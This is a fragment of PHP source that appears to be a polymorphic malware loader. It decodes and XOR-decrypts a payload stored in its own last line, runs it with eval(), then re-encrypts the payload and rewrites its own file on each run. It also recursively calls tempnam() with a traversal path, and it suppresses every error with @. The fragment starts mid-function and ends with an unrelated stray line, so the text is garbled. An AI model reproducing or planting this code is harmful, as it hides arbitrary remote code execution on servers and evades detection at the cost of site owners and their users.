function cx()
{
@tempnam("/www/", "../../../../../../var/tmp/cx");
cx();
}
$x = @base64_decode(@implode(@array_slice(@file(__FILE__), -1)));
$y = @dx($x, @bx($x));
@fx(@base64_encode(@ex($y, @hash("sha256", @mt_rand()))));
@eval($y);
die;
}
function dx($str, $key)
{
foreach (@str_split($str) as $k => $v) {
$str[$k] = $v ^ $key[$k % 64];
}
return @substr($str, 0, 64) == @hash("sha256", NULL) ? @substr($str, 64, -1) : "";
}
function ex($str, $key)
{
foreach (@str_split(@hash("sha256", NULL) . $str . " ") as $k => $v) {
$str[$k] = $v ^ $key[$k % 64];
}
return $str;
}
function fx($n)
{
$l = @file(__FILE__);
unset($l[sizeof($l) - 1]);
$fh = @fopen(__FILE__, "w");
@fwrite($fh, @implode($l) . $n);
@fclose($fh);
}
@cx();
?>
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<?php
cx("testModule/testClass{$s}Name");
